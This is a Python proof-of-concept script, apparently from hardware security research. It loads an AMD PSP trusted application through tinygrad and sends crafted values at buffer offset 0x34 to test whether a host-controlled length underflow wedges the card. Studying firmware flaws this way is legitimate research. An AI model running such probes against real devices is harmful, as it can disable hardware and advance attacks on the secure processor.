1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
#!/usr/bin/env python3
"""Does host buffer[0x34] drive the AUC cmd6 wedge? (candidate: len = [v7+48] - 32)
SYS_DRV 0x101D -> sub_E1F6C4 computes a length as *(v7+48) - 32 with the guard on +52.
Dispatcher sets a1 = req+0x38, so v7 = the TA's first argument = host shared buffer + 4;
therefore [v7+48] is host buffer offset 0x34 and [v7+52] is offset 0x38.
Order matters: a wedge kills the card, so the values predicted SAFE are tried first.
0x40 (64) -> len 0x20, valid : predict fast return
0x20 (32) -> len 0, valid : predict fast return
0x01 -> len 0xFFFFFFE1 : predict WEDGE
If the safe values return quickly and only the small one wedges, the underflow is the cause
and the length is host-controlled.
"""
import glob, struct, sys, time
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev = Device["AMD"].iface.dev_impl; psp = adev.psp
def alloc(n):
pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False); return pa, adev.paddr2mc(pa)
def load(blob):
ap_, amc = alloc(0x80000); cp, cmc = alloc(0x8000)
n=(len(blob)+3)&~3
adev.vram.view(ap_,n)[:] = blob + b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(blob)
t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=0x8000
try:
r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id, cp
except Exception as e:
try: return int(str(e).strip().split()[-1])&0xFFFFFFFF,None,cp
except Exception: return -1,None,cp
def invoke(sid, shm, cid, f34, f38):
buf=bytearray(0x2000); struct.pack_into('<I',buf,0,cid)
struct.pack_into('<I',buf,0x34,f34) # -> [v7+48]
struct.pack_into('<I',buf,0x38,f38) # -> [v7+52]
adev.vram.view(shm,len(buf))[:]=bytes(buf); adev.gmc.flush_hdp()
c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
iv=c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, cid
t0=time.time()
try:
r=psp._ring_submit(c); st=r.resp.status&0xFFFFFFFF
except Exception as e:
try: st=int(str(e).strip().split()[-1])&0xFFFFFFFF
except Exception: st=-1
return st, time.time()-t0
blob=open(glob.glob('/root/psp/contall/ta_16-0-0-9_9e9044cf*')[0],'rb').read()
st,sid,shm=load(blob); print('AUC load %#x sid=%s'%(st,sid))
if st!=0: sys.exit(2)
for f34,label in ((0x40,'0x40 -> len 0x20 (valid)'), (0x20,'0x20 -> len 0 (valid)'),
(0x01,'0x01 -> len 0xFFFFFFE1 (UNDERFLOW)')):
s,dt = invoke(sid, shm, 6, f34, 0)
print(' buf[0x34]=%-6s %-34s status %#-12x %5.1fs%s'%(hex(f34),label,s,dt,' <<< WEDGE' if dt>5 else ''))
if dt>5: break
|